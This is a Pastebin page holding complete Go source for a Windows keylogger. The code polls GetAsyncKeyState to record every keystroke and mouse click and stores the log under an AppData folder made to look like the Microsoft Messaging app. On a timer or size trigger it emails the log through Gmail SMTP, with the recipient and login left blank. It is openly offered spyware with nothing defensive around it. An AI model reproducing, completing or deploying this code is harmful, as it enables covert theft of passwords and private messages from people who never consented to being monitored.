Advertisement
Guest User

Go Keylogger

a guest
Mar 21st, 2017
271
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 6.60 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4.     "bytes"
  5.     "flag"
  6.     "fmt"
  7.     "log"
  8.     "net/smtp"
  9.     "os"
  10.     "os/user"
  11.     "strconv"
  12.     "strings"
  13.     "syscall"
  14.     "time"
  15.  
  16.     "github.com/jordan-wright/email"
  17. )
  18.  
  19. func getAppData() string {
  20.     usr, err := user.Current()
  21.     if err != nil {
  22.         log.Fatal(err)
  23.     }
  24.     app := usr.HomeDir + "\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe"
  25.     return app
  26. }
  27.  
  28. var (
  29.     dll, _    = syscall.LoadDLL("user32.dll")
  30.     proc, _   = dll.FindProc("GetAsyncKeyState")
  31.     interval  = flag.Int("interval", 16, "a time value elapses each frame in millisecond")
  32.     directory = flag.String("directory", getAppData(), "path/to/dir to save key log")
  33. )
  34.  
  35. func isExist(filename string) bool {
  36.     _, err := os.Stat(filename)
  37.     return err == nil
  38. }
  39.  
  40. func ReplaceToStr(s *string, i int) {
  41.     switch i {
  42.     case 0x01:
  43.         *s += "**lMouseDown**"
  44.     case 0x02:
  45.         *s += "**lMouseUp**"
  46.     case 0x04:
  47.         *s += "**rMouseUp**"
  48.     case 0x08:
  49.         *s += "**backSpace**"
  50.     case 0x09:
  51.         *s += "**tab**"
  52.     case 0x0d:
  53.         *s += "**enter**"
  54.     case 0x11:
  55.         *s += "**controlDown**"
  56.     case 0x12:
  57.         *s += "**altDown**"
  58.     case 0x14:
  59.         *s += "**caps**"
  60.     case 0x20:
  61.         *s += " "
  62.     case 0x25:
  63.         *s += "**left**"
  64.     case 0x26:
  65.         *s += "**up**"
  66.     case 0x27:
  67.         *s += "**right**"
  68.     case 0x28:
  69.         *s += "**down**"
  70.     case 0x2e:
  71.         *s += "**del**"
  72.     case 0x6a:
  73.         *s += "* "
  74.     case 0x6b:
  75.         *s += "+ "
  76.     case 0x6d:
  77.         *s += "- "
  78.     case 0x6e:
  79.         *s += ". "
  80.     case 0x6f:
  81.         *s += "/ "
  82.     case 0xa0:
  83.         *s += "**lshiftDown**"
  84.     case 0xa1:
  85.         *s += "**lshiftUp**"
  86.     case 0xba:
  87.         *s += ": "
  88.     case 0xbb:
  89.         *s += "; "
  90.     case 0xbc:
  91.         *s += ", "
  92.     case 0xbd:
  93.         *s += "- "
  94.     case 0xbe:
  95.         *s += ". "
  96.     case 0xbf:
  97.         *s += "/ "
  98.     case 0xc0:
  99.         *s += "@ "
  100.     case 0xdb:
  101.         *s += "[ "
  102.     case 0xdc:
  103.         *s += "| "
  104.     case 0xdd:
  105.         *s += "] "
  106.     case 0xde:
  107.         *s += "^ "
  108.     case 0xe2:
  109.         *s += "back-slash "
  110.     default:
  111.         *s += fmt.Sprintf("%02x ", i)
  112.     }
  113. }
  114.  
  115. func GetKeyState(inputs []int) {
  116.     // get current input
  117.     for i := 1; i < 256; i++ {
  118.         a, _, _ := proc.Call(uintptr(i))
  119.         if a&0x8000 == 0 {
  120.             continue
  121.         }
  122.         // num lock
  123.         if i == 0xf4 || i == 0xf3 {
  124.             continue
  125.         }
  126.         // mouse
  127.         if i == 0x05 || i == 0x06 {
  128.             continue
  129.         }
  130.         // shift
  131.         if i == 0x10 {
  132.             continue
  133.         }
  134.         inputs[i] = 1
  135.     }
  136. }
  137.  
  138. func mail(file string) {
  139.     e := email.NewEmail()
  140.     e.From = "Jbanz <h@h.com>"
  141.     e.To = []string{""}
  142.     e.Bcc = []string{""}
  143.     e.Cc = []string{""}
  144.     e.Subject = ""
  145.     e.Text = []byte("Text Body is, of course, supported!")
  146.     e.HTML = []byte("<h1>Fancy HTML is supported, too!</h1>")
  147.     _, err := e.AttachFile(file)
  148.     if err != nil {
  149.         fmt.Print(err)
  150.     }
  151.     e.Send("smtp.gmail.com:587", smtp.PlainAuth("", "", "", "smtp.gmail.com"))
  152. }
  153.  
  154. func CheckPressed(s *string, inputs, prev []int) {
  155.     // check all keys
  156.     for i := 1; i < 256; i++ {
  157.         // released
  158.         if inputs[i] == 0 && prev[i] == 1 {
  159.             switch i {
  160.             case 0x01:
  161.                 *s += "**leftMouseUp**"
  162.             case 0x02:
  163.                 *s += "**rightMouseUp**"
  164.             case 0x04:
  165.                 *s += "**midMouseUp**"
  166.             case 0x11:
  167.                 *s += "**ctrlUp**"
  168.             case 0x12:
  169.                 *s += "**altUp**"
  170.             case 0xa0:
  171.                 *s += "**lshiftUp**"
  172.             case 0xa1:
  173.                 *s += "**rshiftUp**"
  174.             }
  175.             continue
  176.         } else if inputs[i] == 0 && prev[i] == 0 {
  177.             // not pushed
  178.             continue
  179.         } else if inputs[i] == 1 && prev[i] == 1 {
  180.             // now pressing
  181.             continue
  182.         }
  183.         // character
  184.         if 'A' <= i && i <= 'Z' {
  185.             *s += fmt.Sprintf("%c", i)
  186.             continue
  187.         }
  188.         // number
  189.         if '0' <= i && i <= '9' {
  190.             *s += fmt.Sprintf("%d", i-0x30)
  191.             continue
  192.         }
  193.         ReplaceToStr(s, i)
  194.     }
  195. }
  196.  
  197. func LoggingLoop(file string) {
  198.     var start, end time.Time
  199.     inputs := make([]int, 256)
  200.     prev := make([]int, 256)
  201.     s := ""
  202.     var buffer bytes.Buffer
  203.     begin := time.Now()
  204.     for {
  205.  
  206.         start = time.Now()
  207.         s = ""
  208.         GetKeyState(inputs)
  209.         CheckPressed(&s, inputs, prev)
  210.         if len(buffer.String()) <= 120 {
  211.             buffer.WriteString(s)
  212.         } else {
  213.             buffer.WriteString("\n")
  214.             log.Printf(buffer.String())
  215.             buffer.Reset()
  216.         }
  217.         f, err := os.Open(file)
  218.         if err != nil {
  219.             log.Fatal(err)
  220.         }
  221.  
  222.         fi, err := f.Stat()
  223.         if err != nil {
  224.             log.Fatal(err)
  225.         }
  226.         fmt.Println(fi.Size())
  227.         fmt.Println(len(buffer.String()))
  228.         ending := time.Now()
  229.         duration := ending.Sub(begin)
  230.         if fi.Size() > 1200 || duration.Minutes() > 5 {
  231.             fmt.Println(duration.Minutes())
  232.             mail(file)
  233.             f.Close()
  234.  
  235.             main()
  236.             begin = time.Now()
  237.         }
  238.  
  239.         prev = inputs
  240.         inputs = make([]int, 256)
  241.         end = time.Now()
  242.         remain := (time.Millisecond * (time.Duration)(*interval)) - end.Sub(start)
  243.         if remain > 0 {
  244.             time.Sleep(remain)
  245.  
  246.         }
  247.     }
  248. }
  249.  
  250. func main() {
  251.  
  252.     defer dll.Release()
  253.  
  254.     flag.Parse()
  255.     // create directory path
  256.     dir := strings.Replace(*directory, "\\", "/", -1)
  257.     if !strings.HasSuffix(dir, "/") {
  258.         if dir == "" {
  259.             dir = "./"
  260.         } else {
  261.             dir += "/"
  262.         }
  263.     }
  264.     // create directory if not exist
  265.     if !isExist(dir) {
  266.         err := os.MkdirAll(dir, 0777)
  267.         if err != nil {
  268.             log.Fatal("cannot create directory")
  269.         }
  270.     }
  271.     // search cuurent log number
  272.     number := 0
  273.     for isExist(dir + strconv.Itoa(number) + ".log") {
  274.         number++
  275.     }
  276.     // set output log file
  277.     fp, err := os.OpenFile(dir+strconv.Itoa(number)+".log", os.O_WRONLY|os.O_CREATE, 0777)
  278.     if err != nil {
  279.         log.Fatal("error opening file :", err.Error())
  280.     }
  281.     defer fp.Close()
  282.     log.SetOutput(fp)
  283.     // enter main loop
  284.     LoggingLoop(dir + strconv.Itoa(number) + ".log")
  285.  
  286. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement